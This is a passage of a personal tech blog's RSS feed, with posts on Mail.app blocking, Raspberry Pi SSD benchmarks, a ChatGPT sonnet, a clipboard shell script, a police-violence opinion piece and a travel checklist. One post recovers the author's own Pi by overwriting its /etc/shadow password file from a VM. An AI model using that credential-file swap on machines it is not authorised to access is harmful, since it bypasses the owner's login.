&lt;p&gt;Mail.app on a Mac allows you to mark senders as &amp;quot;blocked&amp;quot;. You can configure Mail.app&#39;s junk mail filters to either &amp;quot;Mark [their message] as blocked mail, but leave it in my Inbox&amp;quot; or &amp;quot;Move it to the Trash&amp;quot;. Again, you can&#39;t bounce or discard it.&lt;/p&gt;
&lt;p&gt;I tried to be clever and write an AppleScript program to delete messages from my Mac&#39;s Trash folder. That was a dead end because AppleScript&#39;s idea of deleting an email is moving it to Trash, even if it&#39;s already in there. Neither does it offer a way to automatically empty the trash.&lt;/p&gt;
&lt;p&gt;Apple, this is disappointing. If I&#39;m blocking someone, &lt;em&gt;I don&#39;t want to hear from them at all, ever&lt;/em&gt;. It&#39;s not enough to send their messages to the Trash folder. I don&#39;t want them to be in my email account at all.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Upgrade your Raspberry Pi with an SSD</title>
      <link>https://honeypot.net/post/upgrade-raspberry-pi-with-ssd/</link>
      <pubDate>Mon, 20 Mar 2023 19:11:26 +0000</pubDate>
      
      <guid>https://honeypot.net/post/upgrade-raspberry-pi-with-ssd/</guid>
      
        <description>&lt;p&gt;I upgraded my Raspberry Pi to use an &lt;a href=&#34;https://amzn.to/40efTWk&#34;&gt;external SSD drive&lt;/a&gt; instead of its built-in SD card reader. If you use your little computer for anything non-trivial, so should you.&lt;/p&gt;
&lt;p&gt;For boring old &lt;code&gt;dd&lt;/code&gt; sequential reads, the SSD is several times faster than the SD card:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# dd if=/dev/mmcblk0 of=/dev/null bs=1M count=1000
1000+0 records in
1000+0 records out
1048576000 bytes (1.0 GB, 1000 MiB) copied, 24.8316 s, 42.2 MB/s

# dd if=/dev/sda of=/dev/null bs=1M count=1000
1000+0 records in
1000+0 records out
1048576000 bytes (1.0 GB, 1000 MiB) copied, 3.4034 s, 308 MB/s
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&#39;s &lt;em&gt;probably&lt;/em&gt; not enough to be worth bothering with, though. I&#39;d guess that most people who need high throughput have either come to this conclusion on their own, or weren&#39;t using a Raspberry Pi anyway.&lt;/p&gt;
&lt;p&gt;An SSD make an enormous difference when multiple processes are trying to write at once. This happens on real-world systems when running routine maintenance tasks like &lt;code&gt;apt-get upgrade&lt;/code&gt;, and seeing other jobs freeze up while waiting their turn to write to disk.&lt;/p&gt;
&lt;p&gt;I used &lt;a href=&#34;https://github.com/akopytov/sysbench&#34;&gt;sysbench&lt;/a&gt; to simulate concurrent random IO workloads. The sequential writing &amp;quot;prepare&amp;quot; step is proportionally faster on the SSD:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/tmp/sdcard-bench$ sysbench fileio prepare
sysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)

128 files, 16384Kb each, 2048Mb total
Creating files for the test...
Extra file open flags: (none)
Creating file test_file.0
Creating file test_file.1
Creating file test_file.2
...
Creating file test_file.125
Creating file test_file.126
Creating file test_file.127
2147483648 bytes written in 120.50 seconds (17.00 MiB/sec).

/tmp/ssd-bench$ sysbench fileio prepare
...
Creating file test_file.127
2147483648 bytes written in 30.82 seconds (66.45 MiB/sec).
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&#39;s a nice bump, but I wouldn&#39;t have gone through the trouble for that alone. The testing stage looks much different. Here&#39;s the SD card&#39;s benchmark:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/tmp/sdcard-bench$ sysbench fileio --file-test-mode=rndrw --threads=10 run
sysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)

Running the test with following options:
Number of threads: 10
Initializing random number generator from current time


Extra file open flags: (none)
128 files, 16MiB each
2GiB total file size
Block size 16KiB
Number of IO requests: 0
Read/Write ratio for combined random IO test: 1.50
Periodic FSYNC enabled, calling fsync() each 100 requests.
Calling fsync() at the end of test, Enabled.
Using synchronous I/O mode
Doing random r/w test
Initializing worker threads...

Threads started!


File operations:
    reads/s:                      81.51
    writes/s:                     53.74
    fsyncs/s:                     283.74

Throughput:
    read, MiB/s:                  1.27
    written, MiB/s:               0.84

General statistics:
    total time:                          11.0830s
    total number of events:              3367

Latency (ms):
         min:                                    0.01
         avg:                                   32.51
         max:                                 1929.04
         95th percentile:                      155.80
         sum:                               109474.32

Threads fairness:
    events (avg/stddev):           336.7000/23.91
    execution time (avg/stddev):   10.9474/0.30
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And the SSD&#39;s:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/tmp/ssd-bench$ sysbench fileio --file-test-mode=rndrw --threads=10 run
sysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)

Running the test with following options:
Number of threads: 10
Initializing random number generator from current time


Extra file open flags: (none)
128 files, 16MiB each
2GiB total file size
Block size 16KiB
Number of IO requests: 0
Read/Write ratio for combined random IO test: 1.50
Periodic FSYNC enabled, calling fsync() each 100 requests.
Calling fsync() at the end of test, Enabled.
Using synchronous I/O mode
Doing random r/w test
Initializing worker threads...

Threads started!


File operations:
    reads/s:                      1535.98
    writes/s:                     1023.49
    fsyncs/s:                     3402.13

Throughput:
    read, MiB/s:                  24.00
    written, MiB/s:               15.99

General statistics:
    total time:                          10.1136s
    total number of events:              59047

Latency (ms):
         min:                                    0.01
         avg:                                    1.69
         max:                                   14.35
         95th percentile:                        4.03
         sum:                                99904.56

Threads fairness:
    events (avg/stddev):           5904.7000/29.24
    execution time (avg/stddev):   9.9905/0.00
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The SSD card is approximate 20 times faster than the SD card, and the SD card&#39;s maximum latency is about 140 times higher than the SSD&#39;s. In normal operation, this has an enormous effect on usability. It&#39;s the difference between the system slowing down a little during intensive operations, and everything hanging for seconds at a time.&lt;/p&gt;
&lt;p&gt;I wish I&#39;d done this sooner.&lt;/p&gt;</description>
      
    </item>
    
    <item>
      <title>A Boston Terrier Married a Cat</title>
      <link>https://honeypot.net/post/boston-terrier-married-cat/</link>
      <pubDate>Fri, 17 Mar 2023 18:54:03 +0000</pubDate>
      
      <guid>https://honeypot.net/post/boston-terrier-married-cat/</guid>
      
        <description>&lt;p&gt;I prompted ChatGPT: “Write a Shakespearean sonnet about a Boston terrier marrying a cat.”&lt;/p&gt;
&lt;p&gt;It replied:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;Oh, wondrous sight! A terrier and cat&lt;br&gt;
In love, declaring bonds that none can break&lt;br&gt;
Though some may scoff, and others may bark flat&lt;br&gt;
Their love is true, not just a mere mistake&lt;/p&gt;
&lt;p&gt;The terrier, bold and loyal as can be&lt;br&gt;
Protects his feline bride with all his might&lt;br&gt;
And she, with purrs and nuzzles, shows with glee&lt;br&gt;
That this odd couple won&#39;t give up the fight&lt;/p&gt;
&lt;p&gt;They nap together, groom each other&#39;s fur&lt;br&gt;
And playfully chase one another around&lt;br&gt;
To some, their pairing might seem quite absurd&lt;br&gt;
But their love for each other knows no bound&lt;/p&gt;
&lt;p&gt;So let them wed, and let their love be strong&lt;br&gt;
For true love, no matter who, can&#39;t be wrong&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Our inevitable robot overlords can write delightful poetry. We&#39;re in trouble.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Easily copy file contents with ForkLift</title>
      <link>https://honeypot.net/post/easily-copy-file-contents-with-forklift/</link>
      <pubDate>Fri, 24 Feb 2023 20:46:19 +0000</pubDate>
      
      <guid>https://honeypot.net/post/easily-copy-file-contents-with-forklift/</guid>
      
        <description>&lt;p&gt;I use the &lt;a href=&#34;https://binarynights.com&#34;&gt;ForkLift 3&lt;/a&gt; file manager on my Mac. Part of my job involves copying-and-pasting the contents of various files into web forms. I made a trivial little shell script so ForkLift can help me:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;${#&lt;/span&gt;@&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt; -ne &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Expected exactly 1 filename.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    exit -1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;fi&lt;/span&gt;   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pbcopy &amp;lt; $1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then I created a new &amp;quot;Tool&amp;quot; called &amp;quot;Contents to Clipboard&amp;quot; that calls the script with the name of the selected file.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/Users/me/bin/copy_contents.sh $SOURCE_SELECTION_PATHS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now I can select a file, select the Commands &amp;gt; Contents to Clipboard menu, and voila! The file&#39;s contents are ready to be pasted into another app.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>Recovering a Raspberry Pi password on an M1 Mac</title>
      <link>https://honeypot.net/post/recovering-raspberry-pi-password-m1-mac/</link>
      <pubDate>Mon, 20 Feb 2023 20:03:21 +0000</pubDate>
      
      <guid>https://honeypot.net/post/recovering-raspberry-pi-password-m1-mac/</guid>
      
        <description>&lt;p&gt;I would never accidentally change my Raspberry Pi&#39;s account password before clicking &amp;quot;save&amp;quot; in my password manager, therefore locking myself out. But let&#39;s say, hypothetically, that I did. How would I get back into my account?&lt;/p&gt;
&lt;p&gt;The process would look like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Power off the Raspberry Pi.&lt;/li&gt;
&lt;li&gt;Eject its SD card.&lt;/li&gt;
&lt;li&gt;Put the SD card in my M1 Mac.&lt;/li&gt;
&lt;li&gt;Magically replace the Pi&#39;s &lt;code&gt;/etc/shadow&lt;/code&gt; file with the previous &lt;code&gt;/etc/shadow-&lt;/code&gt; version, undoing the password change.&lt;/li&gt;
&lt;li&gt;Put the SD card back in my Pi.&lt;/li&gt;
&lt;li&gt;Power up, log in, and pat myself on the back.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Hypothetically&lt;/em&gt;, that magic bit could be a pain in the neck.&lt;/p&gt;
&lt;h2 id=&#34;false-start-1-ext4fuse&#34;&gt;False start #1: ext4fuse&lt;/h2&gt;
&lt;p&gt;The relevant part of the Pi&#39;s SD card is formatted with the &lt;a href=&#34;https://ext4.wiki.kernel.org/index.php/Main_Page&#34;&gt;ext4&lt;/a&gt; filesystem. macOS doesn&#39;t natively support ext4, and I&#39;d need to install software so that I could access and edit the files on the card.&lt;/p&gt;
&lt;p&gt;First, I&#39;d install the open source &lt;a href=&#34;https://github.com/gerard/ext4fuse&#34;&gt;ext4fuse&lt;/a&gt; program and navigate to the Pi&#39;s &lt;code&gt;/etc&lt;/code&gt; directory. Only then would I realize that ext4fuse is a read-only filesystem and doesn&#39;t support writing at all.&lt;/p&gt;
&lt;h2 id=&#34;false-start-2-extfs-for-mac&#34;&gt;False start #2: extFS for Mac&lt;/h2&gt;
&lt;p&gt;If the open source option didn&#39;t work, I&#39;d try the paid &lt;a href=&#34;https://www.paragon-software.com/us/home/extfs-mac/&#34;&gt;extFS for Mac&lt;/a&gt; filesystem and use its trial offer to do the work.&lt;/p&gt;
&lt;p&gt;After installation, I&#39;d discover that something in the way that the Pi formats its SD card prevents extFS from mounting it.&lt;/p&gt;
&lt;h2 id=&#34;false-start-3-run-debian-in-a-virtualbox-vm&#34;&gt;False start #3: run Debian in a VirtualBox VM&lt;/h2&gt;
&lt;p&gt;I bet by then I&#39;d give up on mounting the filesystem inside macOS, and accept that it&#39;d be easier to do the work inside a Linux VM. I&#39;d likely hold my nose and download Oracle&#39;s &lt;a href=&#34;https://www.virtualbox.org/wiki/Downloads&#34;&gt;VirtualBox&lt;/a&gt;. Bummer that it doesn&#39;t work well on M1 Macs yet, which I&#39;d learn would cause the Debian installer to reboot every couple of minutes.&lt;/p&gt;
&lt;h2 id=&#34;success-at-last-parallels-desktop&#34;&gt;Success at last: Parallels Desktop&lt;/h2&gt;
&lt;p&gt;After trying and ruling out everything else, I&#39;d probably try the trial version of &lt;a href=&#34;https://www.parallels.com/products/desktop/trial/&#34;&gt;Parallels Desktop&lt;/a&gt;. I&#39;d use it to install Debian, then go to the &lt;em&gt;Devices &amp;gt; USB &amp;amp; Bluetooth &amp;gt; Apple SDXC Reader Media (disk6)&lt;/em&gt; menu to mount the Pi&#39;s SD card inside the VM. Then I&#39;d open the VM&#39;s Terminal app and run:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd /media/parallels/root/etc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo mv shadow shadow.bak
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo cp shadow- shadow
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, I&#39;d go into the VM&#39;s Files app and unmount the &amp;quot;boot&amp;quot;, &amp;quot;root&amp;quot;, and &amp;quot;SETTINGS&amp;quot; disks.&lt;/p&gt;
&lt;h2 id=&#34;crossing-my-fingers&#34;&gt;Crossing my fingers&lt;/h2&gt;
&lt;p&gt;After all that, I&#39;d pop the card out, stick it back in the Raspberry Pi, boot it, log in via SSH, and run &lt;code&gt;sudo -s&lt;/code&gt;. At the password prompt, I&#39;d type my original password (as stored in my password manager), then exhale in relief as I was once again able to log in.&lt;/p&gt;
&lt;p&gt;That is, if I were to lock myself out in the first place. Which I never would. Because I&#39;m a professional.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>I watched the Tyre Nichols video</title>
      <link>https://honeypot.net/post/i-watched-tyre-nichols-video/</link>
      <pubDate>Sat, 28 Jan 2023 19:33:18 +0000</pubDate>
      
      <guid>https://honeypot.net/post/i-watched-tyre-nichols-video/</guid>
      
        <description>&lt;p&gt;I watched the Tyre Nichols video. I didn&#39;t want to because I knew what it was going to contain and dreaded the idea of seeing it, but I felt obligated to. A man died at the hands of the authorities, and as a citizen, I should witness what our government is doing. Even if — &lt;em&gt;especially if&lt;/em&gt; — that government is accused of committing horrible acts.&lt;/p&gt;
&lt;p&gt;I&#39;m not glad I saw it. I wish I could un-see it. I don&#39;t resent anyone else who doesn&#39;t want to see it. There&#39;s no lesser way to describe it: Demetrius Haley, Tadarrius Bean, Emmitt Martin III, Desmond Mills Jr., and Justin Smith murdered Nichols. Yes, he initially ran from the traffic stop. He should not have done that. But running from a traffic stop is not and should not be a capital offense that warrants the death penalty. After the officers had him safely detained, they proceeded to tase, pepper spray, kick, punch, and use a baton to beat him to death while he called for his mom. Anyone who claims to have seen that video and says that he deserved it or defends the officers&#39; actions in any way is either lying about seeing it, an irredeemable bootlicker, or a sociopath.&lt;/p&gt;
&lt;p&gt;I grew up with the privilege of not fearing the police. Sure, I didn&#39;t want them around if I was getting up to mischief, but I believed the worst that could happen was that they&#39;d catch me and a court would punish me for it. Nichols didn&#39;t have that privilege. He was right to be afraid of his police, and although it&#39;s easy for me to say that he shouldn&#39;t have run from them, it turned out that his fears were justified.&lt;/p&gt;
</description>
      
    </item>
    
    <item>
      <title>My travel project template</title>
      <link>https://honeypot.net/post/my-travel-project-template/</link>
      <pubDate>Fri, 13 Jan 2023 21:22:33 +0000</pubDate>
      
      <guid>https://honeypot.net/post/my-travel-project-template/</guid>
      
        <description>&lt;p&gt;In &lt;a href=&#34;https://honeypot.net/post/traveling-with-omnifocus-and-omnioutliner/&#34;&gt;an older post&lt;/a&gt;, I talked about making a project template for trip planning. The goal is to build a comprehensive list of everything I might want to prepare, pack, or do before, during, or after a business or vacation trip. Before I made this template, I was more anxious: Did I forget to do anything? Do I have everything I need? What am I missing? Now I can relax and concentrate on the fun times ahead.&lt;/p&gt;
&lt;p&gt;Friends have asked me for my list to use as a starting point for their own, and this is that lightly annotated list. Regrets from past adventures inspired every item. The moment I&#39;ve booked a trip, I copy this template into my to-do app, then delete everything that doesn&#39;t apply this time. For instance, if I&#39;m going to visit family, I can use their pillow instead of packing my own. If I&#39;m going to Chicago in winter, I don&#39;t need swimming trunks. If I&#39;m traveling for personal reasons, I may not take my work laptop. &lt;em&gt;It&#39;s much easier to remove items I don&#39;t need than to scramble to remember the things I do need.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As always, the &amp;quot;update the travel template&amp;quot; action near the bottom is the critical feedback loop that makes this all work. Every time I&#39;ve wished I&#39;d done or packed something, I made a reminder to add it to the list for the next time. If I were to start over with a new template having that as the only item, after a few trips that template would look a lot like this one.&lt;/p&gt;
&lt;blockquote&gt;
&lt;h2 id=&#34;as-soon-as-travel-is-planned&#34;&gt;As soon as travel is planned&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Schedule time off at work &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Call the vet to make pet boarding arrangements&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;three-weeks-before-travel&#34;&gt;Three weeks before travel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Ensure airline has TSA Pre✓ info&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;one-week-before-travel&#34;&gt;One week before travel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Notify the bank about travel &lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Buy travel toothpaste&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Buy disposable razors&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Buy travel shaving cream&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;two-days-before-travel&#34;&gt;Two days before travel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Get passports from safe&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check in to flight&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Get $40 from an ATM &lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Download reading material &lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Stop eating spicy food &lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;day-before-travel&#34;&gt;Day before travel&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Charge the USB battery &lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack pants&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack shirts&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack undershirts&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack underwear&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack socks&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack shoes&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack jacket&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack sandals&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack shorts&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack belts&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack a wearing-around hat &lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack swim trunks&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack a sun hat&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack a sun shirt&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack gaffers tape &lt;sup id=&#34;fnref:8&#34;&gt;&lt;a href=&#34;#fn:8&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack water bottle&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Download podcasts and meditations &lt;sup id=&#34;fnref:9&#34;&gt;&lt;a href=&#34;#fn:9&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;9&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack dopp kit &lt;sup id=&#34;fnref:10&#34;&gt;&lt;a href=&#34;#fn:10&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;10&lt;/a&gt;&lt;/sup&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; $20 bill&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Brush/comb&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Hair gel&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Deodorant&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Bottle of shampoo&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Bar of soap&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Razor&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Shaving cream&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Toothbrush&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Toothpaste&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Floss&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Lip balm&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Nail clippers&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Sewing kit&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Safety pins&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Curtain clips &lt;sup id=&#34;fnref:11&#34;&gt;&lt;a href=&#34;#fn:11&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Eye lotion&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Meds and vitamins&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Q-tips&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Eye drops&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Gold Bond powder &lt;sup id=&#34;fnref:12&#34;&gt;&lt;a href=&#34;#fn:12&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;12&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Pack first aid kit
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Band-aids&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Blister bandages &lt;sup id=&#34;fnref:13&#34;&gt;&lt;a href=&#34;#fn:13&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;13&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Ibuprofen&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Melatonin &lt;sup id=&#34;fnref:14&#34;&gt;&lt;a href=&#34;#fn:14&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;14&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Allergy meds&lt;/li&gt;
